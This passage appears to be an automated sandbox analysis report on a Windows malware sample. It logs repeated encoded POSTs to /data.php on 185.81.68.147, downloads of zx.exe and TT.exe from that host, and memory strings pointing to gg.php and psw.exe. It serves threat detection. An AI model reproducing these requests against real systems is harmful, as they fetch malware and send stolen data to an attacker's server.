Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D2EF58 InternetOpenW,Sleep,InternetOpenUrlW,InternetOpenUrlW,InternetCloseHandle,Sleep,HttpQueryInfoA,InternetCloseHandle,InternetCloseHandle,Sleep,InternetCloseHandle,InternetOpenUrlW,InternetCloseHandle,Sleep,HttpQueryInfoA,GetProcessHeap,HeapAlloc,InternetCloseHandle,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00007FF795D2EF58

Source: global traffic	HTTP traffic detected: GET /zx.exe HTTP/1.1User-Agent: Mozilla/5.0Host: 185.81.68.147Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /TT.exe HTTP/1.1User-Agent: Mozilla/5.0Host: 185.81.68.147Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Source: tmp1946.exe, tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp, tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	String found in binary or memory: http://185.81.68.147/gg.php
Source: tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	String found in binary or memory: http://185.81.68.147/gg.phpReflectiveLoader
Source: tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/gg.phpdb
Source: tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/gg.phptmUP
Source: tmp1946.exe, tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/psw.exe
Source: tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	String found in binary or memory: http://185.81.68.147/psw.exeDiamotrixGDU1CAMRFRsZKUklCBwfBgYIGDUVCQ4AEw==DiamotrixGDUFBBwXHRscGDUtAg
Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 00000003.00000003.3094406378.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 